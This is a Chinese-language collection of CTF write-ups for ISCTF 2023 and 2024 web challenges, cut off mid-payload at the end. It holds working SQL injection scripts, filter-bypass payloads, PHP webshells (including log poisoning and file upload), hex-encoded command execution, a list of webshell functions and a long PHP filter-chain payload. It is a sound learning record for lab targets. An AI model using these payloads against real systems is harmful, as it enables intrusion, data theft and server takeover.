2023

1z_Ssql(sql注入)

username=1' or 1=1#   //illegal words!
username=1'# //用户名或密码错误
username=-1' or 1 order by 3# //回显You are so smart! Let me give you a hint ↓ 5aSn5L2s77yM5L2g6L+Z5LmI6IGq5piO5bqU6K+l5LiN6ZyA6KaBaGludOWQpz8=,但是没用,说明等号被过滤了
username=-1' or 1 order by 4# //用户名或密码错误
username=-1' union select 1,2,3# //illegal words!
username=union //illegal words!,尝试后双写和大写都不能绕过
username=select //用户名或密码错误
尝试布尔盲注
username=0' or if(substr(database(),1,1)=c,true,false) //测出来=,like都被过滤了

这里没思路了,扫目录发现/robots.txt,访问可得/here_is_a_sercet.php,得到源码

<?php
highlight_file("here_is_a_sercet.php");

function waf($str){
$black_list = "762V08zk+xrmKxIFrdJIJj6ULvI8Lc0pX39LjDyIUb0eAGkZe4KQa87TJXuqnFw0u/669wWRsqYFya812FtULw9+tpiGlaH2gleDfDKzr+g=";
if (preg_match($black_list,$str)){
die("<h4>illegal words!</h4>");
}
return $str;
}

?>

这里看wp才知道涉及到sm4加密

//sm4.js,扫目录中js可得到
const SM4 = require("gm-crypt").sm4;

var payload = "xxx";

let sm4Config = {
key: "B6*40.2_C9#e4$E3",
mode: "ecb",
cipherType: "base64"
};
let sm4 = new SM4(sm4Config);

var result = sm4.decrypt(payload);

console.log("瑙e瘑:" + result)

image-20250330192523550

源码即为

<?php
highlight_file("here_is_a_sercet.php");

function waf($str){
$black_list = "/union|=|+|sleep|benchmark|for|where|sys|innodb|is|null|like|/*|*//i";
if (preg_match($black_list,$str)){
die("<h4>illegal words!</h4>");
}
return $str;
}

?>

法一:布尔盲注

由于可知道用二分法查找来实现布尔盲注,利用成功查询的那个hint来实现盲注,注意,黑名单中有for,不能使用information_schema这个库

import requests

def force(url):
find=''
for i in range(1,200):
found_char=False
left,right=32,127
while left<right:
mid=(left+right)//2
payload = {
"username":f"1' or (ascii(substr((database()),{i},1))>{mid})#",
"password":"1",
"submit":"%E7%99%BB%E5%BD%95"
}
r=requests.post(url=url,data=payload).text
if ('hint' in r):
left=mid+1
else:
right=mid
if left>32:
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,库名为"+find)
break

def force1(url):
find=''
for i in range(1,200):
found_char=False
left,right=32,127
while left<right:
mid=(left+right)//2
payload = {
"username":f"1' or (ascii(substr((select group_concat(username) from bthcls.users),{i},1))>{mid})#",
"password":"1",
"submit":"%E7%99%BB%E5%BD%95"
}
r=requests.post(url=url,data=payload).text

if ('hint' in r):
left=mid+1
else:
right=mid
if left>32:
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,结果为"+find)
break


if __name__ =="__main__":
#指定url
url='http://gz.imxbt.cn:20502'
force(url)
force1(url)

这里看了wp,说的要利用题目给的附件来进行爆破,得到表名和列名,但是没附件,就只能直接盲注,更改最后查询语句中usernamepassword可得到密码

最后用adminwe1come7o1sctf成功登录就能回显flag

image-20250330202159431

法二:loadfileindex.php文件

首先先看下用户权限

import requests

def force(url):
find=''
for i in range(1,500):
found_char=False
left,right=32,127
while left<right:
mid=(left+right)//2
payload = {
"username":f"1' or (ascii(substr((select user()),{i},1))>{mid})#",
"password":"1",
"submit":"%E7%99%BB%E5%BD%95"
}
r=requests.post(url=url,data=payload).text
if ('hint' in r):
left=mid+1
else:
right=mid
if left>32:
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,结果为"+find)
break

if __name__ =="__main__":
#指定url
url='http://gz.imxbt.cn:20502'
force(url)

image-20250330202401130

是以root身份登录到mysql的,可以load_file读取任意本地文件

看启动文件start.sh,用loadfile读,注意这里要更改取值边界范围

import requests

def force(url):
find=''
for i in range(1,500):
found_char=False
left,right=0,128
while left<right:
mid=(left+right)//2
payload = {
"username":f"1' or (ascii(substr((load_file('/start.sh')),{i},1))>{mid})#",
"password":"1",
"submit":"%E7%99%BB%E5%BD%95"
}
r=requests.post(url=url,data=payload).text
if ('hint' in r):
left=mid+1
else:
right=mid
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,结果为"+find)
break

if __name__ =="__main__":
#指定url
url='http://gz.imxbt.cn:20502'
force(url)

image-20250330204135697

可以看到它把flag写入到了index.php,且泄露出了其绝对路径,直接load_file读

import requests

def force(url):
find=''
for i in range(1,500):
found_char=False
left,right=0,128
while left<right:
mid=(left+right)//2
payload = {
"username":f"1' or (ascii(substr((load_file('/var/www/localhost/htdocs/index.php')),{i},1))>{mid})#",
"password":"1",
"submit":"%E7%99%BB%E5%BD%95"
}
r=requests.post(url=url,data=payload).text
if ('hint' in r):
left=mid+1
else:
right=mid
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,结果为"+find)
break

if __name__ =="__main__":
#指定url
url='http://gz.imxbt.cn:20502'
force(url)

但是爆了半个小时没出来,理论成立

绕进你的心里(php特性)

<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
echo "md5绕过了!";
if(preg_match("/[0-9]/", $num)){
die('你干嘛?哎哟!');
}
elseif(intval($num)){
if(preg_match('/.+?ISCTF/is', $str)){
die("再想想!");
}
if(stripos($str, '2023ISCTF') === false){
die("就差一点点啦!");
}
echo $flag;
}
}
?>

数组绕过MD5,intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。PCRE回溯次数限制绕过来绕过preg_match()函数的检测

preg_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。

hongmeng[]=1&shennong[]=2&zhurong[]=2023ISCTF
import requests

url = "http://gz.imxbt.cn:20524//?hongmeng[]=1&shennong[]=2&zhurong[]=a"

data = {
'pan_gu': 'aaaaaaaaaa' * 250000 + '2023ISCTF'
}
r = requests.post(url, data=data)
print(r.text)

easy_website(sql注入)

还是sql注入

username=1' or 1=1#   //根据报错发现空格,or被过滤
username=1'/**/||1# //登录成功
username=1'/**/order/**/by/**/4# //发现or被过滤
username=1'/**/oorrder/**/by/**/4# //错误列数
username=1'/**/oorrder/**/by/**/1# //用户名或密码错误
username=1'/**/union/**/select/**/database()# //union和select都被过滤
username=1'/**/uunionnion/**/sselectelect/**/1# //成功登录,1为回显位
username=1'/**/uunionnion/**/sselectelect/**/database()# //users
username=1'/**/uunionnion/**/sselectelect/**/(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='users')# //users
username=1'/**/uunionnion/**/sselectelect/**/(seselectlect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users')# //id,username,password,ip,time,user,password
username=1'/**/uunionnion/**/sselectelect/**/(seselectlect/**/group_concat(passwoorrd)/**/from/**/users)# //ISCTF{6da56c3d-73fe-43f4-bdda-832edc9d1736}

webinclude(文件包含)

扫目录发现备份文件/index.bak,获得源码如下

 function string_to_int_array(str){
const intArr = [];

for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);

const partA = Math.floor(charcode / 26);
const partB = charcode % 26;

intArr.push(partA);
intArr.push(partB);
}

return intArr;
}

function int_array_to_text(int_array){
let txt = '';

for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);
}

return txt;
}


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
window.location = 'flag.html';
}else {
document.getElementById('fail').style.display = '';
}

直接写个解码脚本,获得原始参数为mihoyo,直接伪协议读取就行

def int_array_to_text(int_array):
# 将整数数组转换为文本
return ''.join(chr(97 + i) for i in int_array)

def text_to_int_array(text):
# 将文本转换为整数数组
return [ord(c) - 97 for c in text]

def reverse_string_to_int_array(int_array):
result = []
# 每两个元素一组,还原原始的 ASCII 值
for i in range(0, len(int_array), 2):
partA = int_array[i]
partB = int_array[i + 1]
original_char_code = partA * 26 + partB
result.append(original_char_code)
return ''.join(chr(code) for code in result)

# 已知的 hash 值
hash_value = "dxdydxdudxdtdxeadxekdxea"

# 第一步:将 hash 转换为整数数组
int_array_from_hash = text_to_int_array(hash_value)

# 第二步:逆向解码整数数组,得到中间的字符串
intermediate_str = reverse_string_to_int_array(int_array_from_hash)

# 第三步:再次对中间字符串进行逆向解码
final_parameter = reverse_string_to_int_array(text_to_int_array(intermediate_str))

print("原始参数 (parameter):", final_parameter)
mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

$flag = “ISCTF{00b0c051-8782-48b7-9c65-fc8686418395}”;

Where is the flag

<?php
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。
highlight_file(__FILE__);

//标准一句话木马~
eval($_POST[1]);
?>
1=system("ls");   //flag.php index.php
1=system("tac flag.php"); //FLAG1:ISCTF{Y0u_6u
1=system("tac /flag"); //FLAG2:cceeded_in_f
1=system("tac /flag.sh"); //FLAG3=ind1n9_f1ag}

ISCTF{Y0u_6ucceeded_in_find1n9_f1ag}

。。。。。结果错了,又去看了下题,原来在环境变量中

image-20250411000008626

ISCTF{8e1a7953-1020-486b-af07-9a0a7c53c9cc}

Fuzz!

<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){
$file = $_GET['file'];
}
system('curl '.$file);

image-20250411000237916

fuzz一下可以看到-./{|}[]被放出来了

遇到这种可以先考虑绕过

file=127.0.0.1|ls /  //flag flaggggggg.txt
file=127.0.0.1 | tac /f[j-m]aggggggg.txt

ISCTF{Fuzz_is_a_great_trick_Did_you_find_curly_braces?-Jay17}

也可以按照题目给的提示,用大括号绕过

file=f{i}l{e}:///f{l}aggggggg.txt

。。。。。。。。。。。。。虽然但是,怎么又是在环境变量中

image-20250411001140277

ISCTF{cb477fe0-d027-457f-a3e1-2160f114f13d}

wafr

<?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings
die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){
die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){
die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){
die("大胆!!!");
}
else{
assert($_POST['code']);
}

简单rce,直接命令执行绕过就行

code=system("ls")?>    //flaggggggg.txt index.php
code=system("ta\c f*")?>

预期解应该是用strings

code=system("strings f*")?>

ez_ini

常规传.user.ini不行,过滤了文件内容中的<,导致php代码不能被执行,那么可以尝试通过.user.ini和日志文件配合进行日志注入

user.ini:auto_append_file=/var/log/nginx/access.log
UA:<?php eval($_POST[123]);?>

2024

1z_php

<?php
highlight_file('index.php');

#一句话木马,神神又奇奇

if(isset($_POST['J'])){
$call=$_POST['J'];
$dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od'];
foreach ($dangerous_commands as $command) {
if (preg_match("/$command/i", $call)) {
die("这些个危险函数可不兴使啊");
}
}
system($call);
}
?>

ban了些读取文件的命令,可使用strings绕过

读取绕过

J=ls
J=strings /f14g #strings会提取文件中的可打印字符
J=ca\t /f14g #反斜杠绕过
J=grep { /f14g #grep是用来查找字符串的,在这里我们查找{他会输出含有{的那一行
J=c''at /f14g #''在bash中会被解释为空字符串,当flag被禁时也可以用
J=cp /f14g /var/www/html/index.php #将/f14g的内容拷贝到index.php,index.php的内容会被覆盖

image-20250203163711839

传马

false:J=echo '<?php @system($_POST['123']);?>' > a.php
true:J=echo '<?php @eval($_POST['123']);?>' > a.php

然后蚁剑访问a.php连接后就可以获得flag了

但是在这里就涉及到第一次传马失败的知识点,system()函数和eval()函数区别

补充:system()函数和eval()函数区别

区分

eval类型函数是代码执行而不是命令执行(一句话木马)

system类型函数是命令执行而不是代码执行

具体来说,就是eval()函数将字符串作为代码执行。可以执行任何合法的编程语言语句或表达式,而sysstem()函数调用操作系统的命令解释器(如Shell)来执行指定的命令

举例

<?php
eval("echo 1+1;"); //2
system("echo 1+1;"); //1+1;
?>


<?php
$num=1;
eval("\$a = $num;"); //有效,$a=1
system("\$b = $num;"); //无效,$b=NULL
?>

代码执行函数

1-eval
<?php eval($_POST["cmd"]) ?>

2-assert
<?php assert($_POST["cmd"]) ?>

3-call_user_func
<?php
call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert&para=phpinfo();

4-create_function
<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();

5-array_map
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['func'],$array);
?>
//post:func=phpinfo

命令执行函数

1-system
<?php system($_POST["cmd"]);?>

2-passthru
<?php passthru($_POST["cmd"]);?>

3-exec
<?php echo exec($_POST["cmd"]);?>

4-pcntl_exec
<?php
pcntl_exec("/bin/bash",array($_POST["cmd"]));
?>

5-shell_exec
<?php echo shell_exec($_POST["cmd"]); ?>

6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?>

7-``
<?php echo `whoami`?>

8-
<?php
$cmd = 'system';
ob_start($cmd)
echo "$_GET[a]";
ob_end_flush();
?>
//?a=whoami

c71ce3259d0c7fbd0cff3db9aa266d10

224dbf35c723734d5b4c51efff2a7042

25时晓山瑞希生日会

image-20250204164050726

进入环境就提示需要Project Sekai的客户端请求,抓包更改UA

User-Agent: Project Sekai

然后要正确时间,根据题目描述添加时间 不知道年月日好像随便一个都行?

Date:Tue, 15 Nov 2010 9:15:31 GMT

image-20250204164500754

提示本地来,添加X-Forwarded-For

X-Forwarded-For:127.0.0.1

image-20250204164550076

好吧,还是限制了时间,更改时间就行

Date:Tue, 15 Nov 2024 05:01:31 GMT

image-20250204164714902

又结束了?????再改时间吧

Date:Tue, 15 Nov 2024 25:01:31 GMT

image-20250204164924905

提示格式不对,搜索后更改格式和时间

Date: Sun, 27 Aug 2024 05:00:00 GMT

image-20250204165355864

拿到flag

UP!UPloader

随便上传一个文件发现有include.php,访问发现为文件包含

image-20250204165752103

filename=php://filter/read=convert.base64-encode/resource=upload.php

成功读取文件内容,解码后源码如下

<?php
error_reporting(0);
$file = $_FILES['file'];
if (isset($file) && $file['size'] > 0) {
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
$name = pathinfo($file['name'], PATHINFO_FILENAME);
$dir_name = $name . '.' . $ext;
$upload_dir = './uploads/';
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0755, true);
}
if (move_uploaded_file($file['tmp_name'], $upload_dir . md5($dir_name) . '.' . $ext)) {
echo "文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。" ;
} else {
echo "文件存储失败,未知原因......";
}
die();
}
?>

image-20250204170217426

因此直接访问上传目录下的md5加密后文件名传马即可

这里我传的是1.php,加密后为f3b94e88bd1bd325af6f62828c8785dd.php,蚁剑连接就行

image-20250204170950538

其实没找到,flag藏在phpinfo()页面了,除了phpinfo();还可以通过system('env');找到

image-20250204171435076

image-20250204171637956

ezrce

<?php

error_reporting(0);

if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];

if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
die("Blocked by security filter!");
} else {
eval($cmd);
}
} else {
highlight_file(__FILE__);
}
?>

ban了挺多函数,但是十六进制那个未被ban,因此直接绕过

cmd=(sy.(st).em)(hex2bin("6c73202f"));  //十六进制为ls /
cmd=(sy.(st).em)(hex2bin("636174202f666c6167")); //十六进制为cat /flag

其他payload

cmd=passthru('cd%09..;cd%09..;cd%09..;strings%09[a-z]lag'); //system 可以用 passthru 代替,过滤了 /,可以通过 cd .. 进行绕过,然后文件读取同样 strings 即可
cmd=include$_GET[1];&1=php://filter/convert.base64-encode/resource=/flag

小蓝鲨的冒险

<?php
error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) { //通过数组传一个MD5加密后为0e开头的进去,比如240610708
$num = $_POST["num"];
if($num == 2024){
die("QAQ");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0) == 2024){ //小数绕过或八进制绕过
if (isset($_GET['which'])){
$which = $_GET['which'];
switch ($which){
case 0:
print('QAQ');
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
}
}

payload

GET b=a[0]=240610708&which=flag
POST num=2024.1或num=03750

image-20250204174928730

千年樱

第一层

先添加cookie

cookie:from=ISCTF

image-20250204180054510

第二层

<?php
include "dir.php";
highlight_file(__FILE__);

if(file_get_contents($_POST['name']) === 'ISCTF'){
echo $dir2;
}
else{
die("Wrong!");
}
?>

直接用data伪协议

name=data://text/plain,ISCTF

image-20250204180351322

第三层

<?php
include "dir.php";
highlight_file(__FILE__);

function waf($str){
if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){
die('bad hacker!!!');
}
}
$poc = $_POST['poc'];
waf($poc);
$filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
$result = file_get_contents($filename);
if($result === "sakura for ISCTF"){
echo "yes! master!";
eval($_POST['cmd']);
}

if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){
var_dump($result);
}


?>

 我们可以用神奇的php_filter_chain_generator工具构造filter链:

python php_filter_chain_generator.py --chain sakura for ISCTF<?php
poc=convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.i